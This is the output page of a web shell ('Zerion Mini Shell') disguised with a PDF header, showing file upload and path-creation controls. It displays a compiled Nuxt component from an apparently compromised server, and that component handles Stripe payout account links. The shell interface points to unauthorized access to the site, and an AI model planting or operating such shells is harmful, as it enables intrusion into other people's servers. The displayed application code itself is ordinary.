%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/takeaseat.eco-n-tech.co.uk/.nuxt/dist/server/components/
Upload File :
Create Path :
Current File : //home/forge/takeaseat.eco-n-tech.co.uk/.nuxt/dist/server/components/account-payouts.js

exports.ids = [4,10];
exports.modules = {

/***/ 131:
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// CONCATENATED MODULE: ./node_modules/vue-loader/lib/loaders/templateLoader.js??vue-loader-options!./node_modules/@nuxt/components/dist/loader.js??ref--0-0!./node_modules/vue-loader/lib??vue-loader-options!./components/slots/Block.vue?vue&type=template&id=0e972406&
var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('section',{staticClass:"bg-gray py-8 md:py-20 px-4 md:px-8 mb-8"},[_vm._ssrNode("<div class=\"max-w-xl mx-auto w-full\"><header class=\"text-center mb-10\"><h2"+(_vm._ssrClass("text-2xl sm:text-3xl font-bold",_vm.description ? 'mb-8' : ''))+">"+_vm._ssrEscape(_vm._s(_vm.title))+"</h2> "+((_vm.description)?("<p class=\"text-sm sm:text-base\">"+_vm._ssrEscape(_vm._s(_vm.description))+"</p>"):"<!---->")+"</header></div> "),_vm._ssrNode("<div"+(_vm._ssrClass("mx-auto w-full",_vm.width ? _vm.width : 'max-w-xl'))+">","</div>",[_vm._t("default")],2)],2)}
var staticRenderFns = []


// CONCATENATED MODULE: ./components/slots/Block.vue?vue&type=template&id=0e972406&

// CONCATENATED MODULE: ./node_modules/babel-loader/lib??ref--2-0!./node_modules/@nuxt/components/dist/loader.js??ref--0-0!./node_modules/vue-loader/lib??vue-loader-options!./components/slots/Block.vue?vue&type=script&lang=js&
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
/* harmony default export */ var Blockvue_type_script_lang_js_ = ({
  props: {
    title: {
      type: String,
      required: true
    },
    description: {
      type: String,
      required: false
    },
    width: {
      type: String,
      required: false
    }
  }
});
// CONCATENATED MODULE: ./components/slots/Block.vue?vue&type=script&lang=js&
 /* harmony default export */ var slots_Blockvue_type_script_lang_js_ = (Blockvue_type_script_lang_js_); 
// EXTERNAL MODULE: ./node_modules/vue-loader/lib/runtime/componentNormalizer.js
var componentNormalizer = __webpack_require__(1);

// CONCATENATED MODULE: ./components/slots/Block.vue





/* normalize component */

var component = Object(componentNormalizer["a" /* default */])(
  slots_Blockvue_type_script_lang_js_,
  render,
  staticRenderFns,
  false,
  null,
  null,
  "127f880a"
  
)

/* harmony default export */ var Block = __webpack_exports__["default"] = (component.exports);

/* nuxt-component-imports */
installComponents(component, {Header: __webpack_require__(12).default})


/***/ }),

/***/ 157:
/***/ (function(module, exports, __webpack_require__) {

module.exports = __webpack_require__.p + "img/icon-stripe.7b66af1.svg";

/***/ }),

/***/ 186:
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// CONCATENATED MODULE: ./node_modules/vue-loader/lib/loaders/templateLoader.js??vue-loader-options!./node_modules/@nuxt/components/dist/loader.js??ref--0-0!./node_modules/vue-loader/lib??vue-loader-options!./components/blocks/Account/financial/AccountPayouts.vue?vue&type=template&id=0b52109c&
var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('Block',{attrs:{"title":"Bank Details","description":"Manage your payouts on Stripe"}},[(_vm.loading == false)?_c('div',[(_vm.is_complete == false)?_c('div',{staticClass:"flex items-center justify-center"},[_c('button',{staticClass:"btn btn-small btn-primary rounded-full",attrs:{"type":"button"},on:{"click":_vm.createStripeAccountLink}},[(_vm.working == false)?_c('span',{staticClass:"flex items-center justify-center"},[_vm._v("Connect to "),_c('img',{staticClass:"ml-1",attrs:{"src":__webpack_require__(157),"alt":"Stripe"}})]):_c('span',{staticClass:"flex items-center justify-center"},[_c('svg',{staticClass:"animate-spin -ml-1 mr-3 h-5 w-5 text-current",attrs:{"xmlns":"http://www.w3.org/2000/svg","fill":"none","viewBox":"0 0 24 24"}},[_c('circle',{staticClass:"opacity-25",attrs:{"cx":"12","cy":"12","r":"10","stroke":"currentColor","stroke-width":"4"}}),_vm._v(" "),_c('path',{staticClass:"opacity-75",attrs:{"fill":"currentColor","d":"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"}})]),_vm._v(" "),_c('span',[_vm._v("Redirecting")])])])]):_c('div',{staticClass:"flex items-center justify-center"},[_c('button',{staticClass:"btn btn-small btn-primary rounded-full",attrs:{"type":"button"},on:{"click":_vm.createStripeLoginLink}},[(_vm.working == false)?_c('span',{staticClass:"flex items-center justify-center"},[_vm._v("View "),_c('img',{staticClass:"mx-1",attrs:{"src":__webpack_require__(157),"alt":"Stripe"}}),_vm._v(" Dashboard")]):_c('span',{staticClass:"flex items-center justify-center"},[_c('svg',{staticClass:"animate-spin -ml-1 mr-3 h-5 w-5 text-current",attrs:{"xmlns":"http://www.w3.org/2000/svg","fill":"none","viewBox":"0 0 24 24"}},[_c('circle',{staticClass:"opacity-25",attrs:{"cx":"12","cy":"12","r":"10","stroke":"currentColor","stroke-width":"4"}}),_vm._v(" "),_c('path',{staticClass:"opacity-75",attrs:{"fill":"currentColor","d":"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"}})]),_vm._v(" "),_c('span',[_vm._v("Redirecting")])])]),_vm._v(" "),_c('t-modal',{attrs:{"header":"Setup your stripe account"},scopedSlots:_vm._u([{key:"footer",fn:function(){return [_c('div',{staticClass:"flex justify-between"},[_c('button',{staticClass:"btn btn-primary btn-small",attrs:{"type":"button"},on:{"click":function($event){_vm.showModal=false}}},[_vm._v("Not Now")]),_vm._v(" "),_c('button',{staticClass:"btn btn-primary btn-small",attrs:{"type":"button"},on:{"click":_vm.createStripeLoginLink}},[(_vm.working == false)?_c('span',{staticClass:"flex items-center justify-center"},[_vm._v("Visit "),_c('img',{staticClass:"mx-1",attrs:{"src":__webpack_require__(157),"alt":"Stripe"}})]):_c('span',{staticClass:"flex items-center justify-center"},[_c('svg',{staticClass:"animate-spin -ml-1 mr-3 h-5 w-5 text-current",attrs:{"xmlns":"http://www.w3.org/2000/svg","fill":"none","viewBox":"0 0 24 24"}},[_c('circle',{staticClass:"opacity-25",attrs:{"cx":"12","cy":"12","r":"10","stroke":"currentColor","stroke-width":"4"}}),_vm._v(" "),_c('path',{staticClass:"opacity-75",attrs:{"fill":"currentColor","d":"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"}})]),_vm._v(" "),_c('span',[_vm._v("Redirecting")])])])])]},proxy:true}],null,false,28807270),model:{value:(_vm.showModal),callback:function ($$v) {_vm.showModal=$$v},expression:"showModal"}},[_c('p',[_vm._v("You need to finish setting up your stripe account in order to recieve payments.")])])],1)]):_c('div',{staticClass:"flex items-center justify-center"},[_c('span',{staticClass:"flex items-center justify-center"},[_c('svg',{staticClass:"animate-spin -ml-1 mr-3 h-5 w-5 text-current",attrs:{"xmlns":"http://www.w3.org/2000/svg","fill":"none","viewBox":"0 0 24 24"}},[_c('circle',{staticClass:"opacity-25",attrs:{"cx":"12","cy":"12","r":"10","stroke":"currentColor","stroke-width":"4"}}),_vm._v(" "),_c('path',{staticClass:"opacity-75",attrs:{"fill":"currentColor","d":"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"}})]),_vm._v(" "),_c('span',[_vm._v("Fetching Stripe Account")])])])])}
var staticRenderFns = []


// CONCATENATED MODULE: ./components/blocks/Account/financial/AccountPayouts.vue?vue&type=template&id=0b52109c&

// CONCATENATED MODULE: ./node_modules/babel-loader/lib??ref--2-0!./node_modules/@nuxt/components/dist/loader.js??ref--0-0!./node_modules/vue-loader/lib??vue-loader-options!./components/blocks/Account/financial/AccountPayouts.vue?vue&type=script&lang=js&
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
/* harmony default export */ var AccountPayoutsvue_type_script_lang_js_ = ({
  data() {
    return {
      loading: true,
      working: false,
      is_complete: false,
      showModal: false
    };
  },

  async mounted() {
    await this.$axios.$get('/stripe/account').then(is_enabled => {
      this.loading = false;
      this.is_complete = is_enabled;

      if (this.is_complete == 0) {
        this.showModal = true;
      }
    }).catch(error => {
      this.loading = false;
      this.$toast.error(error).goAway(3000);
    });
  },

  methods: {
    async createStripeAccountLink() {
      this.working = true;
      await this.$axios.$get('/stripe/account-link').then(response => {
        window.location.href = response.url;
      }).catch(error => {
        this.$toast.error(error).goAway(3000);
      });
    },

    async createStripeLoginLink() {
      this.working = true;
      await this.$axios.$get('/stripe/login-link').then(response => {
        window.location.href = response.url;
      }).catch(error => {
        this.$toast.error(error).goAway(3000);
      });
    }

  }
});
// CONCATENATED MODULE: ./components/blocks/Account/financial/AccountPayouts.vue?vue&type=script&lang=js&
 /* harmony default export */ var financial_AccountPayoutsvue_type_script_lang_js_ = (AccountPayoutsvue_type_script_lang_js_); 
// EXTERNAL MODULE: ./node_modules/vue-loader/lib/runtime/componentNormalizer.js
var componentNormalizer = __webpack_require__(1);

// CONCATENATED MODULE: ./components/blocks/Account/financial/AccountPayouts.vue





/* normalize component */

var component = Object(componentNormalizer["a" /* default */])(
  financial_AccountPayoutsvue_type_script_lang_js_,
  render,
  staticRenderFns,
  false,
  null,
  null,
  "6273bdce"
  
)

/* harmony default export */ var AccountPayouts = __webpack_exports__["default"] = (component.exports);

/* nuxt-component-imports */
installComponents(component, {Block: __webpack_require__(131).default})


/***/ })

};;
//# sourceMappingURL=account-payouts.js.map

Zerion Mini Shell 1.0